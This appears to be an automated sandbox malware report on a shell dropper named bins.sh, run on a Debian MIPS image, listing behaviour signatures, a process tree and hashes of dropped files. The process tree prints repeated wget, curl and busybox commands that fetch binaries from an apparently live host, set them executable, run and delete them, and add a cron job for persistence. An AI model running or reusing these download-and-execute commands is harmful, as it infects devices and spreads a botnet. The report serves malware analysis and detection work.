Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21/11/2024, 10:22

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241121-md891a1arc
  • SHA256 5f3e8dc46692e77fb8a0dfc7eb9172e797b1facfdd6fa764711ee37927bae7cb
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1566) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 30 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 23 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:718
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:720
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:724
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:747
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:749
        • /bin/chmod
          chmod 777 Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • File and Directory Permissions Modification
          PID:750
        • /tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          ./Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Executes dropped EXE
          PID:751
        • /bin/rm
          rm Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
            PID:753
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:754
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:755
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:759
          • /bin/chmod
            chmod 777 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • File and Directory Permissions Modification
            PID:762
          • /tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            ./3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Executes dropped EXE
            PID:763
          • /bin/rm
            rm 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
              PID:767
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:769
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:778
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:788
            • /bin/chmod
              chmod 777 ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • File and Directory Permissions Modification
              PID:797
            • /tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              ./ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Executes dropped EXE
              PID:799
            • /bin/rm
              rm ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
                PID:801
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:803
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:814
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:818
              • /bin/chmod
                chmod 777 U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • File and Directory Permissions Modification
                PID:819
              • /tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                ./U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Executes dropped EXE
                PID:820
              • /bin/rm
                rm U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                  PID:822
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:823
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:824
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:837
                • /bin/chmod
                  chmod 777 egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • File and Directory Permissions Modification
                  PID:844
                • /tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  ./egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • Executes dropped EXE
                  • System Network Configuration Discovery
                  PID:845
                • /bin/rm
                  rm egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  PID:849
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:850
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:865
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:867
                • /bin/chmod
                  chmod 777 16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • File and Directory Permissions Modification
                  PID:868
                • /tmp/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  ./16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • Executes dropped EXE
                  PID:869
                • /bin/rm
                  rm 16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                    PID:871
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:872
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:873
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:875
                  • /bin/chmod
                    chmod 777 nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • File and Directory Permissions Modification
                    PID:876
                  • /tmp/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    ./nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:877
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:879
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:880
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:881
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:882
                      • /bin/rm
                        rm nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                        2⤵
                          PID:884
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                          2⤵
                          • System Network Configuration Discovery
                          PID:887
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                          2⤵
                          • System Network Configuration Discovery
                          PID:888
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:969
                        • /bin/chmod
                          chmod 777 dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                          2⤵
                          • File and Directory Permissions Modification
                          PID:974
                        • /tmp/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                          ./dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                          2⤵
                          • Executes dropped EXE
                          PID:975
                        • /bin/rm
                          rm dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                          2⤵
                            PID:977
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                            2⤵
                            • System Network Configuration Discovery
                            PID:978
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                            2⤵
                            • System Network Configuration Discovery
                            PID:979
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:980
                          • /bin/chmod
                            chmod 777 PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                            2⤵
                            • File and Directory Permissions Modification
                            PID:981
                          • /tmp/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                            ./PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                            2⤵
                            • Executes dropped EXE
                            PID:986
                          • /bin/rm
                            rm PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                            2⤵
                              PID:988
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                              2⤵
                              • System Network Configuration Discovery
                              PID:989

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2

                                • Path /tmp/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                                • Size 127KB
                                • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                • MD5 SHA1 SHA512 SSDEEP

                                3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby

                                • Path /tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
                                • Size 111KB
                                • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                • MD5 SHA1 SHA512 SSDEEP

                                PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a

                                • Path /tmp/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                • Size 99KB
                                • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                • MD5 SHA1 SHA512 SSDEEP

                                Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH

                                • Path /tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
                                • Size 111KB
                                • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                • MD5 SHA1 SHA512 SSDEEP

                                U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T

                                • Path /tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                                • Size 112KB
                                • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                • MD5 SHA1 SHA512 SSDEEP

                                dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc

                                • Path /tmp/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                                • Size 177KB
                                • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                • MD5 SHA1 SHA512 SSDEEP

                                egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og

                                • Path /tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                                • Size 119KB
                                • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                • MD5 SHA1 SHA512 SSDEEP

                                ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV

                                • Path /tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
                                • Size 122KB
                                • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                • MD5 SHA1 SHA512 SSDEEP

                                nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f

                                • Path /tmp/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                                • Size 151KB
                                • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                • MD5 SHA1 SHA512 SSDEEP

                                tmp.NCgSxK

                                • Path /var/spool/cron/crontabs/tmp.NCgSxK
                                • Size 210B
                                • SHA256 4b1106ce2c271bc99068c27b45e1adce8548b206d5996314dab990ace2e3cb9a
                                • MD5 SHA1 SHA512